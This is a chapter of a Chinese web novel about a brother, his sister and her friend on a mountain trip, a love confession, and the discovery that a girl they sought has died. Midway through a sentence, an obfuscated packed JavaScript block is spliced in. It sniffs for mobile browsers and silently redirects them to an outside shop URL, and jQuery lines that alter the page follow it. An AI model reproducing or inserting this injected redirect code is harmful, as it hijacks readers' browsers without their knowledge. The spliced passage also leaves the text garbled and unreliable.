剩下的两天里,周行一看着那满满两袋的野果,心里直发愁。原本打算送给熟人,可开着车在西桥转了好久愣是没找到一个回西桥的故人。最后在内县动车站站台前准备检票时偶遇了一位小学同学,对方正要回主城区。周行一如获至宝,赶紧塞过去半袋野果,总算解决了一部分“库存”。
五号清晨,兄妹俩从上海出发。第一站是江城,他们把精心挑选的野果送给吴浩波等人。接着,他们带上剩余的果子,开车前往石兰和郑凌立合租的公寓楼下。接上郑凌立后,这支小小的探险队总算集结完毕,正式朝着最终目的地山南县进发。
车子行驶在高速公路上,郑凌立被野果的香甜吸引,忍不住一个接一个地吃了起来。直到感觉胸口有些发闷,她才不得不停下嘴,咂咂舌评论道:“这果子真甜啊,口感简直像熟透了的香蕉!”
石兰看她那副难受的样子,没好气地教训道:“早就提醒你别吃太多了!我们大前天也是贪嘴,差点集体进医院。路过药店用血糖仪一测,数值高得吓人,都快赶上糖尿病了!”
有周行一在场,郑凌立知道石兰一般不会骗她,但这说法也太夸张了。吃几个野果子能进医院?难道有毒?“真的假的?有这么严重吗?”她将信将疑。
“骗你干嘛?这种果子尝尝鲜就行了,绝对不能当饭吃。”石兰又强调了一遍。这些野果大部分是准备明天登山时补充糖分的,剩下的则计划送给那个女孩——当然,前提是对方国庆节在家。
下午五点,他们抵达山南县县城。原计划是今晚赶到山北镇,但旅游软件里显示那里没有民宿,只好退而求其次,决定在县城住一晚。
在酒店休息了一个小时,三人来到街上觅食。这是个典型的山区小城,坐落在河谷之中,建筑沿河而建。无论朝哪个方向走,没多久就能看见四周环绕的重重叠叠的令人绝望的群山,给人一种与世隔绝的感觉。
尽管正值国庆长假,但或许因为已经是五号,加上本地缺乏留住游客的亮点,想过来旅游的游客前几天已经来过,现在街上显得有些冷清。他们晃悠了很久,也没看见多少外地车辆或游客的影子。
走了好一阵子,他们终于找到一家在大众点评上评分很高的本地特色菜馆。周行一力排众议,决定在这里解决晚餐。点完菜后,三人有一搭没一搭地商量着后续行程。没想到不到十分钟,菜就全部上齐了。
然而,看着眼前色泽暗淡、勾芡过重的菜肴,三人面面相觑,谁都不想先动筷当试吃员。
“上大当!我就说怎么进来的时候没什么客人呢。”周行一后悔不迭,刚才正是他坚持要来这里吃饭的。
石兰一脸坏笑的看着他,贼兮兮地说:“哥,你先试个毒吧?”
周行一一时没反应过来,抬起头茫然地看着她:“啊?”显然他没听清妹妹的话。
郑凌立见他没听清,便一本正经地翻译道:“她说,既然是你付钱,这第一口理所应当由你来吃。”
周行一这才明白,两个小姑娘是联起手来坑他呢。他小声幽怨地嘟囔了一句:“两个小白眼狼。”但眼珠一转,忽然计上心头。
他装出一副苦大仇深的样子,不情不愿地拿起筷子,夹起面前盘子里的一块小酥肉,勉为其难地送进嘴里,嚼了两下。脸上什么表情也没有,接着又伸向旁边的炸小河虾,一连吃了好几个。这时,他脸上才露出一丝若有若无的笑意。最后,他的目光落在她们面前那盘油光锃亮的红烧肉上,夹起一块放入口中,紧接着又飞快地夹了第二块,嘴里不住地发出赞叹的啧啧声。
见哥哥转眼间已经吃掉四块红烧肉,盘子里只剩下一半,石兰终于勉强相信这菜或许味道不错——毕竟以她对哥哥的了解,如果东西难吃,他绝不可能动第二次筷子。
两人赶紧制止他再次伸向红烧肉的筷子:“住手!我们还没吃呢!”话音未落,便迅速将剩下的四块红烧肉瓜分干净。郑凌立迫不及待地将肉塞进嘴里,脸上的笑容还没持续三秒,就瞬间扭曲,痛苦地把肉吐到了骨碟里。
“水!快给我水!”两人争先恐后地倒饮料漱口,看见周行一在一旁笑得肩膀直抖,四只小拳头立刻雨点般落在他肩膀上:“大骗子!你居然骗我们!”
周行一脸傲娇的说道:“想坑我?门儿都没有!”
其实,小酥肉和炸小河虾味道确实不错,达到了正常餐馆的水平。但那盘红烧肉简直就是灾难——肥肉占了多半,腻得让人发慌,更诡异的是,廋肉部分居然需要嚼好几下才能咽下去。周行一第一口吃进去的时候就差点崩溃,强忍着才没有当场吐出来。为了“惩罚”这两个想看他出丑的小坏蛋,他才不得不演技全开,装出美味无比的样子。直到她们上当,他才赶紧拿起饮料灌了半杯下去冲掉嘴里的油腻感。
等她们终于“报复”完毕,周行一才笑着指指桌上的菜:“好啦,不闹了。说真的,这两个菜还可以,你们尝尝看。”
“还想骗我们?”石兰和郑凌立异口同声地反驳,脸上写满了不信任,她们才不会再上当呢。
可是,不吃的话今晚就真的得饿肚子了。她们不情不愿地夹了点小酥肉,发现确实还能接受,虽谈不上惊艳,但至少是正常水准。这才放下心来,尝试其他的菜。
总的来说,这桌菜里只有那盘红烧肉是彻头彻尾的败笔,仿佛后厨随机抽中了一位第一天上班的学徒来练手。吃饱喝足后,三人继续在城里闲逛,不知不觉走到了城关中学附近。
远远就看见了马路对面硕大的“山南县第一中学”字样,石兰若有所思地问:“哥,你不是说那个女孩就在这个学校读书吗?”
周行一指着校门上方悬挂的红色横幅说:“看来今年这所学校的高考成绩很不错啊!都国庆了,横幅还没撤下来。”
三人走到校门口,仰头看那两条横幅。第一条写着祝贺两位同学被清华北大录取,第二条则是庆祝本校高考再创佳绩,并列出了重点线和本科线的上线人数。校门另一侧立着一块光荣榜,上面密密麻麻地列着今年被重点大学录取的学生姓名和录取院校。
他们走到光荣榜前。如果能在这里找到女孩的名字,明天的行程或许就可以取消了。毕竟周行一他们并非非要找到她不可,只是想确认她过得怎么样而已。
“找‘云安娜’这个名字。”周行一说,“安娜.卡列琳娜的那个安娜。”
三人在几百个名字里仔细搜寻了好一会儿,却始终没有看到“云安娜”这三个字。见哥哥还不死心地来回查看,石兰幽幽地说:“榜上姓云的人倒是有几个,但没有一个叫云安娜的。哥,你会不会是记错名字了?”
郑凌立也早就不耐烦了,几百个名字来回扫了好几遍,要真在榜上早就找到了。“会不会她的成绩跟我们差不多?辛辛苦苦最后考个普通本科。你看这光荣榜上全是重点大学的。”
其实周行一在第一遍没找到时就已经意识到这种可能性了。他只是不愿意接受现实,不得不再次承认人与人之间的差距。小学和初中时,他一直稳居班级前三,那时他自信地认为自己一定能考上顶尖大学。直到上了高中,在一次次的考试排名中,他才逐渐认清自己在学习上并非天赋异禀。最终,靠着高考时运气爆棚蒙对了两道数学选择题,才勉强够到了一所末流211大学的分数线。
“希望只是这样吧。”他有气无力地说,声音里难掩失落。
虽然假期还有三天才结束,但高三学生已经提前返校上课了。校门口陆续停了一些车辆,家长们下车互相寒暄,应该都是来接晚自习放学的孩子。
周行一看了一眼手机,已经九点了。看着校内涌出的学生人流,他对妹妹说:“我们走吧,时间不早了。”虽然在县城找到她消息的尝试失败了,但他们并没有太过沮丧。毕竟这趟旅程本身更像是一种怀旧,而非非达到不可的目标。经历了这些年社会的打磨,周行一早已对所谓的名利看淡了许多。
第二天一早,他们驱车前往山北镇,打算趁着早晨气温凉爽开始登山。按照导航开了大约半个小时,他们看见山脚下有一个停车场,里面停满了车。周行一把车拐进去停好。下车后,他打开后备箱,拿出登山装备让她们换上。
石兰一边换登山鞋,一边满脸疑惑地问:“哥,怎么不继续开了?离山脚还有段距离呢?这么多的车都在往前面开。”
看着她们脸上写满不情愿,周行一解释道:“我查过导航了,这附近没什么其他景点。无缘无故不可能有这么多人把车停在这里。我敢打赌,再往前开路肯定变成石子路,不好开也不好停。”
他都这么说了,两人只好暂时相信,谁让他是三个人中的老大呢。他们沿着公路走了一个小时,才真正到达山脚的登山口。
“哥,你输了!”走在后面的两人看着眼前偌大的、规划整齐的停车场,兴奋地叫了起来。终于扳回一局的感觉让她们全然忘记了步行一小时的疲惫。这一路上,前后不见几个行人,只有车辆不时呼啸而过,她们早就觉得不对劲了,就等着此刻扬眉吐气。走在前面的周行一却仿佛没听见,依旧自顾自地往前走。见他毫无反应,显然是想耍赖,她们终于忍无可忍,跑上前拦住他,再次重申他输了的事实。
周行一眼睛向上瞟着帽檐,试图装傻蒙混过关。他哪里想得到是这种情况,心里暗骂这导航不靠谱。
两人一人抓住他一只胳膊,说什么也不让他轻易糊弄过去。
他正想认输,目光掠过她们,瞥见停车场入口处醒目的收费标准指示牌,顿时灵光一闪,底气十足地说:“可我说的可是‘最后一个免费停车场’!你们看,这里明明是收费的!”
两人看他如此理直气壮,一时没反应过来,回头果然看到一块蓝底白字的收费公示牌。顿时像泄了气的皮球,悻悻地放开了他的手:“算你走运!”登山的人比想象中多。三人在入口处检查整理好装备,便随着人流一起向山顶进发。
爬了半个多小时后,郑凌立有些体力不支,提议休息一下。周行一同意了,两人在石阶旁找了块大石头坐下,准备补充点能量再继续。刚坐下,却发现石兰不见了踪影。周行一心里一紧,正要起身寻找,郑凌立眼尖,指着下方一百多级台阶远的地方说:“在那儿呢!”
只见石兰正慢悠悠地往上爬,等她终于喘着气来到两人面前时,郑凌立立刻把她拉到身边:“你在后面磨蹭什么呢?”
石兰看了闺蜜一眼,又转头望向哥哥,眼里闪着狡黠的光:“我怎么记得,我们在停车场打赌的是‘后面的路是不是铺装路’,而不是什么收不收费的问题呢?”
“对哦!”郑凌立恍然大悟,“刚才被他唬住了,居然忘了这茬!”她急忙抓住早在石兰开口时就察觉不妙、正准备悄悄溜走的周行一的衣角,脸上露出“你终于落到我们手里了”的表情:“不行!这次必须给个说法!”
周行一幽怨地瞪了妹妹一眼,脑袋飞快一转,找到了破题的方法,一脸无辜地辩解:“可是当时你们自己也没接茬啊?我问你们赌不赌,你们俩就像木头人似的杵在那儿不说话。现在看到情况有利就想起来了?哪有这样的道理?”
这番“义正词严”的辩解差点让郑凌立站到他那边去,幸好石兰及时提醒:“可我们当时既没答应,也没拒绝啊!沉默不等于同意,但也不等于反对嘛!”
郑凌立这才反应过来又差点上当,急忙附和:“对!我们刚刚才接下这个赌约的!必须给个说法!”
“那你们想要什么说法?”周行一把问题抛了回去。
刚刚还得意扬扬的两人瞬间愣住了。是啊,赢了又怎样呢?当初根本没约定赌注是什么。她们面面相觑,不知该如何是好。
“你们慢慢想吧!我先走了,你们快点跟上哦。”周行一得意地起身,拍拍屁股上的灰尘,继续向上走去。
她们在原地绞尽脑汁想了半天,也没想出个所以然来。总不能漫天要价吧?一人一百万?怎么可能!
实在没有头绪,看着一拨又一拨登山者超过她们,郑凌立提议:“要不……让他以后满足我们一人一个小愿望吧?先存着,以后再说。”
石兰一听,茅塞顿开,忍不住重重地亲了闺蜜脸颊一口:“好主意!真有你的!”说完立刻起身,加快脚步去追已经走远了的周行一。
再次追上他时,两人早已累得上气不接下气。石兰气喘吁吁地、固执地拉住哥哥,非要立刻宣布她们商议的结果。周行一看着她们认真的样子,无可奈何的说到:“让我说你们什么好呢?行吧行吧,我答应了。”
听见他同意,两人兴奋地击掌庆祝,脸上洋溢着计谋得逞的喜悦。
接下来是一段漫长的爬升路程。和许多国庆节来登山的游客一样,他们三人也算不上真正的登山爱好者,只是被“狐朋狗友”趁着假期拉着出来“受罪”而已。一路上,他们见到不少走半小时就得歇半小时的人。相比之下,他们的体力还算不错——石兰和郑凌立是在校学生,身体素质正处于巅峰期;周行一虽然工作后锻炼减少,体力有所下降,但前几日在山里的穿梭行走让他适应了不少。
这座山的开发程度较低,通往山顶的最后一两公里的石阶已经破损不堪。人们在旁边的树林里踩出了几条蜿蜒的小路。
他们选择了一条人较少的小径。没走几步,周行一就听见身后传来“哎哟”一声惊叫。回头一看,只见郑凌立跌坐在地上,低着头,用手捂着脚踝。石兰蹲在她旁边,正匆忙地翻着背包寻找着什么。
周行一连忙折返,走到她们身边。检查后发现只是擦破了点皮,并无大碍。“没事吧?还能走吗?”他关切地问。
郑凌立接过石兰递过来的矿泉水,冲洗了一下伤口,然后朝那里吹气,试图缓解疼痛。“没事了,走吧。”她故作轻松地说。
看她一副若无其事的样子,兄妹俩松了口气,扶着她站起来,准备继续前进。可是刚走了几步,就听不到后面的脚步声了。周行一回头,发现郑凌立每走一步,就疼得倒吸一口冷气,眼睛里已经泛起了泪花。
周行一看着她龇牙咧嘴的样子,有些难以理解。从小到大,他受过不少伤,哪次不比这严重?至于疼成这样吗?但看她的表情又不像是装出来的,不禁担心起来:会不会伤到骨头了?
“没事,就最后几百米了。坚持一下,忍一忍就到山顶了。等下山我们就去医院处理。”他鼓励道。
“算了,你们去吧,我实在受不了了,太疼了!”说着,郑凌立弯下腰,作势就要坐下。
石兰见状赶紧扶住她:“说好了一起登顶的,怎么能半途而废呢!”可是照这个速度,一步一步挪上去,不知要走到猴年马月。
终于,她想到了一个折中的办法:“哥,要不你背她一段吧?背包我来背。”
郑凌立闻言,脸上掠过一丝不易察觉的兴奋,犹豫道:“这……不太好吧?爬山本来就累,再背个人,等会儿你连下山的力气都没了。”
周行一听到这个提议也愣了一下。这怎么行?但看着两个女孩一脸期待又无辜的表情,他只好勉为其难地点点头:“……好吧。”
他把背包递给石兰,半蹲下身子。郑凌立小心翼翼地趴上他的后背,双手环住他的脖子。周行一起身,试着重心走了两步,感觉还行,便打趣道:“没想到你看着小小一只,还挺有分量。”
听见他说自己重,郑凌立立刻抗议,下意识地轻轻捶了一下他的肩膀:“哪有!我这么瘦,一米六九十五斤算重吗?石兰一百斤你都没说过她重!”
“说话就说话,别乱动!”刚才她一动,让他重心不稳,差点摔倒,“再说了,就算她比你重又怎样?现在在我背上的又不是她。”
郑凌立也被吓了一跳,不敢再乱动,只能小声嘟囔:“反正我就是不重……”终于,他们走到了小径的终点。几条岔路都在这里汇合,再往前二十多米就是山顶了。
周行一看见旁边路上不断有登山客汇入主干道,便停下脚步,对背上的郑凌立说:“凌立,下来吧。最后这几十米,你自己走。”
郑凌立不解:“为什么?都背了这么久了,也不差这最后一段路啊?就一二十米而已。”
周行一将她轻轻放下,语气变得认真起来:“我们是来登山的。最后一段路,我希望你自己走完。”他看着她和石兰,眼神里透着少有的严肃,“我希望你们俩能明白一个道理:人要学会自强。不要因为一时便利就产生依赖心理。人生没有那么多捷径可走,太容易得到的东西,往往也更容易失去。”见她们似懂非懂,他继续补充道,“如果连最后这几十米你都要选择让人背,那以后你们自己去爬别的山,万一又摔倒了,谁来背你们呢?”
看他又开始“说教模式”,两人不约而同地捂住耳朵,夸张地抗议:“又来了又来了!不听不听,王八念经!”
等周行一念叨完,她们才放下手,郑凌立故作委屈地说:“我自己走还不行嘛!求你别念了!”
其实,她的伤并没有那么严重。再怎么喊疼,终究只是擦破点皮,远没到不能走路的地步。之前执意要他背,多少存了点试探和撒娇的小心思。现在自己走也挺好,毕竟爬山是她提议的,总让别人背着确实有些不好意思。不过,戏还是要做足。她让他们先走,自己则刻意放慢脚步,每当他们回头时,就立刻装出一瘸一拐的样子。
终于抵达山顶。从这里可以清晰地俯瞰几公里外的山北镇。
环顾四周,已是初秋时节。周围的山峦呈现出两种不同的色彩:山脚下依旧绿意盎然,而半山腰往上则染上了秋的气息。有些树叶已经变黄,远远望去,像是给群山披上了绿黄相间的外衣。
周行一望着眼前的景色,略带调侃地评价道:“难怪这山不出名。景色确实平平无奇,要不是顶着个‘山南县最高点’的名头,恐怕连这石阶路都不会有。”的确,这里没有什么令人惊艳的景致,只是一座普通的高山。他们拍了几张照片,感受了一会儿山顶呼啸而过的凉风,便开始准备下山。
看着郑凌立此刻蹦蹦跳跳地跟着石兰往山下跑,全然不见刚才喊疼的模样,周行一这才恍然大悟——自己又被这小丫头给骗了!
“慢点跑!”他朝着她们的身影喊了一声,无奈地笑着摇了摇头,加快脚步跟了上去。
沿着原路返回到他之前背起她的地方时,周行一发现她们两人正站在那里,眼神复杂地望着他一步步走近。郑凌立的手紧紧攥着石兰的手臂,指节有些发白。
“怎么不走了?”周行一走近,疑惑地问道。石兰轻轻推了郑凌立一把,将她推到了周行一身前。看着郑凌立欲言又止、脸颊绯红的模样,又看看身后眼神飘忽、时不时翻个白眼的妹妹,周行一一头雾水:“你们俩这是干嘛呢?”说着,他下意识地就要继续往山下走。
刚掠过郑凌立身边,脚步还未迈出,他的手突然被她温热而微颤的手紧紧拉住。周行一惊讶地回头,只见郑凌立的眼泪毫无征兆地唰唰往下掉,嘴唇翕动着,却发不出任何声音。难道又摔了?
这时,他听见身后的石兰用极小的声音恨铁不成钢地啐了一句:“没用的东西!”
周行一正想回头问妹妹什么意思,忽然感到脸颊上传来一阵温热柔软的触感——是郑凌立!她趁着他回头的瞬间,踮起脚尖,飞快地在他脸上亲了一口!
周行一彻底僵住了,大脑一片空白,不知所措地看着眼前泪眼婆娑却目光坚定的女孩,语无伦次地喃喃道:“我……你……你们……”
郑凌立还没开口,石兰已经抢先一步,用一种宣布重大新闻般的语气大声说道:“哥!她喜欢你!她喜欢你很久了!”
周行一怎么会毫无察觉呢?就在刚才那蜻蜓点水的一吻中,他心中某种模糊的情感瞬间清晰了起来。“可是……”他下意识地想说什么,却被郑凌立的动作打断了。
她再次凑上前,飞快地又亲了他的脸颊一下,然后鼓起勇气,直视着他有些慌乱的眼睛,声音虽然带着哭腔,却异常清晰:“还‘可是’吗?”周行一看着她通红的脸颊和湿润的眼睛,心像是被什么东西猛地撞了一下,所有犹豫和辩解都堵在了喉咙里。他没再说话,只是眼神软了下来,默认了什么。
郑凌立深吸一口气,仿佛用尽了全身的力气,开始倾诉埋藏已久的心事:“第一次见到你的时候,我就喜欢上你了……可是那时候你有女朋友。今年有好几次独处的时候,我都想告诉你,可是我又害怕被你拒绝……加上每次都有意外情况打断,我一边庆幸没说出口避免了尴尬,一边又很难过,不知道下一次机会要等到什么时候……”
她的声音渐渐稳定下来,带着少女特有的真挚和委屈:“我能感觉得出来,你也是喜欢我的,对不对?好几次,气氛都刚刚好了,我以为你会主动说出来的,可是你一直都没有行动……直到刚才在山顶吹风的时候,石兰才告诉我,说你是绝对不会自己先表白的。虽然我不知道为什么,但我想,一段感情的开始,总要有一方先主动的。既然是我先动的心,那由我来表白,又有什么不可以的呢?其实昨天在酒店,我就已经下定决心了,无论如何,今天必须要有一个结果!”
说到这里,她的语气带上了几分娇嗔和委屈:“在最后一段路的时候,我本来就想跟你表白的!连说什么、怎么说,我都偷偷在心里练习了好多遍!可是你突然那么严肃地非要让我自己走……我都懵了,准备好的话全忘了……”眼看自己已经把心里话都倒了出来,而周行一却还像根木头似的杵着一动不动,没有任何表示,郑凌立的心一点点沉下去,勇气也快耗尽了。她把心一横,直接问出了最关键的问题:“周行一,你……你愿意让我做你的女朋友吗?”
“啊?”周行一仿佛刚从一场大梦中惊醒,愣愣地看着她,“哦……”
“啊?哦?这算什么回答嘛!”看见他这幅反
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231312|197623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应,两姐妹都被气笑了。
然而,下一秒,周行一却主动向下走了两级台阶,然后很自然地伸出手,牵住了郑凌立的手,顺势轻轻一拉。他头也不回地继续往下走,声音里带着掩饰不住的笑意和温柔:“我同意。”
这三个字如同天籁,瞬间驱散了郑凌立心中所有的阴霾和不安。巨大的喜悦淹没了她,她兴奋地用左手紧紧按住他牵着自己的右手,快走两步与他并肩,趁他停下脚步转头看她时,再次踮起脚尖,勇敢地吻了上去。这一次,目标明确地印在了他的唇上。
下山后,他们直奔山北镇中学。学校规模很小,只有一栋教学楼、两栋宿舍楼和一个单层食堂,再无其他设施。在校门口张望,里面空无一人。询问门卫室的保安,得到的也只是“不认识”的答复。他们这才想起,女孩已经从这所初中毕业三年了,除了当年的班主任、任课老师和部分同学,谁还会记得她呢?
周行一望着空旷的校园,语气平静中带着一丝释然:“看来是找不到她了……不过,这样也好。相忘于江湖,有时候也是一种不错的结局。”
他们转身朝停车的地方走去。没走多远,忽然听见右手边一间临街的屋子里有人喊“张老师”。循声望去,只见一间不大的屋子里摆放着十来套课桌椅,坐着些十三四岁的初中生。墙上挂着黑板,一位三十四五岁、戴着眼镜的女老师正站在一个学生旁边指导着什么。
看样子,这应该是一位老师私下开办的补习班,正在利用假期补课。
三人在门口好奇地向里张望。张老师也注意到了他们,对视几秒后,她走了出来,询问道:“你们好,有什么事吗?”
他们说明了来意,想打听一个名叫“云安娜”的女孩。没想到张老师居然就是一四届毕业班的老师之一!然而,她对“云安娜”这个名字毫无印象。就在他们心生失望之时,张老师又补充道:“不过我是数学老师,当时那一届一共有六个班,我教一班和三班。我这里有这两个班的毕业照,你们可以看看有没有你们找的人。如果没有,镇上还有其他班级的老师,我可以带你们去找他们问问。”
说着,她转身上楼,在一阵翻箱倒柜后,找出了两张略显陈旧的大合影,递到周行一手中。她一边递照片一边分析道:“我们这儿姓云的人家不少。按你说的那个女孩的年龄,她当初出去打工时肯定不够岁数,很可能借用了别人的身份证。所以你们知道的这个名字,多半是错的。”
周行一道了谢,接过照片,手指略带颤抖地、仔细地一个一个辨认着照片上那些稚嫩的面孔。一遍,两遍……没有找到记忆中那张熟悉的脸。他默默地将照片递还给张老师,摇了摇头。
此时已是下午五点五十分,补习班即将下课。张老师让他们稍等片刻,答应等下带他们去找其他住在镇上的老师。
在去往另一位老师家的路上,张老师和他们闲聊起来:“你说她考上了县城的城关中学,那要不是我们一班,就肯定是二班的学生了。我们这儿啊,留守儿童太多了。很多孩子年纪小,抵不住外面的诱惑,初中没毕业就跑出去打工的都有,更别说那些考不上高中、毕业后直接跟着父母出门的了。”
他们来到了李老师家。李老师听明来意后,非常热情地招呼他们坐下,然后转身去找毕业照。
当李老师将二班的毕业照递到周行一手中时,只一眼,他的目光立刻被第二排的一个身影牢牢吸引住了。手指轻轻点在那个女孩的脸上,声音有些激动:“就是这个女孩。”
他翻到照片背面,在对应的名字列表里找到了她的名字——云青英。
李老师看着“云青英”这个名字,一边回忆一边说:“哦,是她啊。这个学生我从初一教到初三,初一初二不分重点班,她在四班,后来初三按成绩分班,她就到了二班。那一届全校考上城关中学的也就二十多人,我们班考上重点班的只有三个,她就是其中之一。”石兰急切地问:“李老师,您有她的联系方式吗?比如电话或者□□什么的?”
李老师遗憾地摇摇头:“没有。那时候她家里条件很困难,别说手机了,连穿的衣服都常常是破旧的,哪有什么联系方式。”看来从这里已经得不到更多信息了。周行一起身,向两位老师真诚地道谢:“谢谢两位老师,麻烦你们了。我想我们该走了。”
临出门时,李老师忽然想起什么,补充道:“对了,那个云青英,她有个伯伯在县城北边开了家规模不小的修车店,好像叫……‘永嘉修车’,对,是这个名字。你们如果实在想打听她的下落,可以去问问他。”
周行一听着李老师的提醒,再次道谢,但语气却显得意兴阑珊:“谢谢李老师。不过……我想,应该不用了。”
当车子返回县城,经过北边路口时,他们果然看到了那家挂着“永嘉修车”招牌的店铺。然而,周行一却像是没有看见一样,车速丝毫未减,径直开了过去。
车子最终在城关中学门口停下。周行一下车,再次走到那块光荣榜前,目光重新在那几百个名字上搜寻。依然没有“云青英”这三个字。
算了,也许真的像妹妹她们说的那样,辛苦三年,结局却并不尽如人意。他轻轻叹了口气,对她们说:“回酒店吧,明天我们回家。”到了酒店楼下,石兰却让周行一先上去:“哥,我们有点饿了,你先上去吧。我们去附近找点吃的。你想吃什么发微信给我就行。”
周行一看着她们脸上那种急切又带着点神秘兮兮的表情,有些疑惑:“你之前不是一直嚷嚷着要减肥吗?”
石兰的回答让他哭笑不得:“明天再开始减嘛!又不差这一天!”周行一无奈,只好同意,自己先回了房间。看了会儿无聊的电视后,他给石兰发了条微信:“如果看到烧烤店,帮我带点羊肉串、鱿鱼和土豆片。”
几乎就在发送成功的瞬间,手机就振动了一下,收到了回复,快得惊人:
“收到!”
然而,石兰和郑凌立的目的地并非餐馆。确认周行一进入电梯后,两人立刻在酒店门口拦了一辆出租车。“师傅,去城北的永嘉修车厂。”石兰对司机说。
车子很快抵达修车厂。即使已是晚上八点半,厂里依然灯火通明,几个工人还在忙碌着。厂外停着几辆带有凹痕的事故车,看来国庆节道路上出的事故不少。见到两个年轻女孩走进来,一个年轻伙计停下手中的活,上前招呼:“你好,修车吗?”
石兰摇摇头:“我们找云老板有点事。”
伙计朝里面喊了一嗓子:“老板!有人找!”片刻,一位四五十岁、身材微胖的中年男人从里面走出来。他手上戴着沾满油污的手套,工作服上也是斑斑点点的污渍。看到是两个陌生小姑娘,他有些疑惑:“修车?”
石兰按住身边有些紧张的郑凌立的手,尽量让自己的语气显得平静自然:“不是的,叔叔。我们是云青英的初中同学,毕业以后就没见过她了。听说她伯伯在这里开修车厂,就想来问问,看能不能找到她的联系方式。”
老板盯着她们看了几秒钟,眼神中的光彩迅速黯淡下去,被一种沉重的悲伤取代。他重重地叹了口气,声音低沉而沙哑:“她……没了。”
这突如其来的噩耗如同晴天霹雳,让石兰和郑凌立顿时只觉得天旋地转,大脑一片空白,难以置信地瞪大了眼睛。
“什……什么?怎么回事?”石兰的声音都在发抖。
老板的神情悲痛,语气充满了无力感:“今年高考刚结束,她就去外面的电子厂打工,想挣点学费……有一天晚上下班路上,被另一个厂下夜班的人开车……不小心撞上了……没救过来……”
两人面面相觑,来时满心的期待和兴奋在这一刻被冰冷的现实击得粉碎,心情沉重得像灌了铅。她们木然地谢过老板,脚步踉跄地走出修车厂,来时觉得短暂的路程,此刻却显得无比漫长。
“回去……怎么跟你哥说啊?”郑凌立的声音带着哭腔,茫然地问石兰。
石兰的眼圈也红了,她吸了吸鼻子,努力平复情绪,声音哽咽地说:“要不……不告诉他了吧?留个念想,也好。”
失魂落魄的两人回到酒店楼下,才猛然想起完全忘了买烧烤的事情。但现在再折返回去也来不及了。石兰拉住了还想转身去买的郑凌立:“算了……就跟他说没找到烧烤店吧。”
她们心情沉重地打开房门。隔壁房间的周行一听到动静,立刻开门过来,满脸期待地伸出手:“我的烧烤呢?”这时,他才注意到两人脸上没有丝毫往日的活泼,只有一种难以言喻的悲伤和恍惚。他心头一紧,也顾不得烧烤了,语气变得严肃而关切:“你们怎么了?发生什么事了?”两人低着头,一言不发,这更让周行一感到不安和焦虑。
“说话啊!到底怎么了?出什么事了?”他的声音不由得提高了些,带着急切。
郑凌立终于忍不住,情绪彻底崩溃,眼泪决堤而出,泣不成声地说:“人……人没了……”
周行一脑袋“嗡”的一声,难以置信地看着眼前这两个脸色苍白的女孩,声音控制不住地开始发抖:“啊?你们……你们杀人了?!”这荒谬的念头不受控制地冒了出来。
郑凌立用力摇着头,眼泪飞溅,语无伦次地解释:“不是!是云青英……她死了……高考完去打工,被下夜班的人开车撞了……没救过来……”
这个消息比刚才那个荒谬的猜测更让周行一感到震惊和窒息。他像是被抽干了所有力气,身体猛地一晃,后背重重地靠在冰冷的墙壁上,然后缓缓地、颓然地滑坐在地上。他闭上双眼,用手死死地捂住脸,指缝间传出他压抑不住的、带着痛苦和自责的叹息:“怎么会……这样……”
过了许久,他才缓缓抬起头,眼神空洞地盯着房间某处,喃喃自语,声音沙哑得厉害:“你们说……要是当初我……我没发那个该死的善心,多管闲事……她是不是……现在还会在某个地方,好好地活着?如果不是我……她也许不会这么早……”
石兰看着他失魂落魄的样子,心里难受极了,不知道该如何安慰。她蹲下身,轻声说:“哥,该自责的人不是你。你没有错!如果非要找原因,那也是那个疲劳驾驶的司机,还有那些不顾工人死活的厂子的责任!”
郑凌立也抹着眼泪,附和道:“对啊,哥哥……至少,你对得起自己的良心,这就够了。她的不幸……是谁也预料不到的意外……这……可能就是命吧……”
又过了好久,周行一才用手撑着墙壁,极其缓慢地、有些摇晃地站起身。他的脸上没有任何表情,眼神空洞,仿佛所有的情绪都被抽离了,只剩下无边无际的疲惫和麻木。他对她们摆了摆手,声音轻得像一阵风:“行了,你们……早点休息吧。我也回去了。”
石兰不放心地又叮嘱了一句:“哥,你别想太多了……很多事情,不是我们能控制的……顺其自然吧。”周行一没有回头,只是默默地打开自己的房门,进去了。